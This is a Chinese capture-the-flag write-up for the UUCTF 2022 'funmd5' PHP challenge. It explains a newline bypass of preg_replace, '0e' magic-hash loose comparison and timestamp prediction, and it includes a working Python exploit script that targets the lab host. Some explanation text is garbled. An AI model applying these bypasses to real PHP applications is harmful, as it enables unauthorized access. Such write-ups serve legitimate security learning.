[UUCTF 2022 新生赛]funmd5 0e 碰撞与时间戳预测
本题在线靶场
代码审计
<?phperror_reporting(0);include "flag.php";$time=time();$guessmd5=md5($time);$md5=$_GET["md5"];if(isset($md5)){ $sub=substr($time,-1); $md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5); if(preg_match('/0e/',$md5[0])){ $md5[0]=substr($md5[0],$sub); if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){ echo "well!you win again!now flag is yours.<br>"; echo $flag; } else{ echo $md5[0]; echo "oh!no!maybe you need learn more PHP!"; } } else{ echo "this is your md5:$md5[0]<br>"; echo "maybe you need more think think!"; }}else{ highlight_file(__FILE__); $sub=strlen($md5[0]); echo substr($guessmd5,0,5)."<br>"; echo "plase give me the md5!";}?>7ffb4plase give me the md5!1.代码逻辑分析
-
无参数时:输出
$guessmd5的前 5 位,提示输入 md5。 -
传入 md5 数组:
$time = time(),$guessmd5 = md5($time)。$sub = substr($time, -1):取时间戳最后一位数字(0~9),并赋值给变量$sub。- 对
$md5数组每个元素执行preg_replace('/^(.*)0e(.*)$/', '${1}no_science_notation!${2}', $md5)。 把 md5`。
若包含,则
$md5[0] = substr($md5[0], $sub),即从 md5[0] == md5(md5[0])` && `md5[1] === $guessmd5`。
2.漏洞点与利用思路
2.1 换行符绕过 preg_replace
preg_replace 的正则 /^(.*)0e(.*)$/ 中,. 默认不匹配换行符 \n。如果字符串中包含换行符,且 0e 位于换行符之后,则整个正则无法匹配,preg_replace 不会进行替换。而 preg_match('/0e/', $md5[0]) 是在整个字符串中搜索,不受换行符影响,因此仍能匹配到 0e,从而进入内层条件。
2.2 MD5 松散比较(0e 碰撞)
条件 $md5[0] == md5($md5[0]) 使用松散比较。在 PHP 中,形如 0e 后跟纯数字的字符串会被解释为科学计数法,其值为 0。因此,如果 $md5[0] 是一个 0e 开头的纯数字字符串,且它的 MD5 值也是 0e 开头的纯数字字符串,那么两者在 == 比较时都会被视为 0,从而相等。
已知的经典字符串:
0e215962017 → MD5:0e291242476940776845150308577824
2.3 时间戳预测
$guessmd5 = md5(time()),$sub = substr(time(), -1)。我们需要知道服务器当前的时间戳,才能计算出完整的 $guessmd5 和 $sub。页面会泄露 $guessmd5 的前 5 位,我们可以通过暴力枚举当前时间附近的时间戳,找到匹配前 5 位的那个时间戳 T,从而得到完整的 $guessmd5 和 $sub = T % 10。
2.4 构造 $md5[0]
我们需要 substr($md5[0], $sub) == "0e215962017"。
因此 $md5[0] 的前 sub = 4,可构造:
$md5[0] = "aaa\n0e215962017"长度为 4 的前缀 “aaa\n”,截取后得到 “0e215962017”。
2.5 构造 $md5[1]
$md5[1] 需要严格等于 $guessmd5。注意 $md5[1] 也会经过 preg_replace 处理,如果 $guessmd5 中包含 0e,则会被替换成 no_science_notation!,导致不相等。因此需要确保 $guessmd5 中不包含 0e。概率约 12%,若不满足可等待下一秒重试。
自动化利用脚本
以下 Python 脚本实现了完整的攻击流程:
import requestsimport hashlibimport timeimport re
# 目标 URLurl = "http://node5.anna.nssctf.cn:22221" # 替换为实际 URL
# 已知的 0e 碰撞字符串COLLISION = "0e215962017"
while True: # 1. 获取 $guessmd5 前 5 位 r = requests.get(url) match = re.search(r'([0-9a-f]{5})<br>', r.text) if not match: print("未获取到前5位,重试...") time.sleep(0.5) continue prefix5 = match.group(1) print(f"[+] 获取到前5位: {prefix5}")
# 2. 暴力枚举时间戳,找到完整 $guessmd5 now = int(time.time()) found_T = None for delta in range(-120, 120): # 前后搜索2分钟 T = now + delta if hashlib.md5(str(T).encode()).hexdigest().startswith(prefix5): found_T = T break
if found_T is None: print("[-] 未找到匹配时间戳,重试...") time.sleep(0.5) continue
guess_md5 = hashlib.md5(str(found_T).encode()).hexdigest() sub = found_T % 10 print(f"[+] 时间戳: {found_T}, sub = {sub}, guess_md5 = {guess_md5}")
# 检查 sub 是否为 0,为 0 则无法构造前缀 if sub == 0: print("[-] sub 为 0,等待下一秒...") time.sleep(1) continue
# 检查 guess_md5 是否包含 '0e',若包含则会被替换 if '0e' in guess_md5: print("[-] guess_md5 包含 '0e',等待下一秒...") time.sleep(1) continue
# 3. 构造 $md5[0] # 前缀长度为 sub,包含换行符,且换行符放在 0e 之前 prefix = 'a' * (sub - 1) + '\n' # 长度为 sub md5_0 = prefix + COLLISION
# 4. 发送请求 params = { 'md5[0]': md5_0, 'md5[1]': guess_md5 } # requests 会自动对参数进行 URL 编码 r2 = requests.get(url, params=params) if "well!you win again!" in r2.text or "flag" in r2.text: print("[+] 成功!") print(r2.text) break else: print("[-] 尝试失败,响应:") print(r2.text[:200]) # 等待一下重试 time.sleep(0.5)
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!














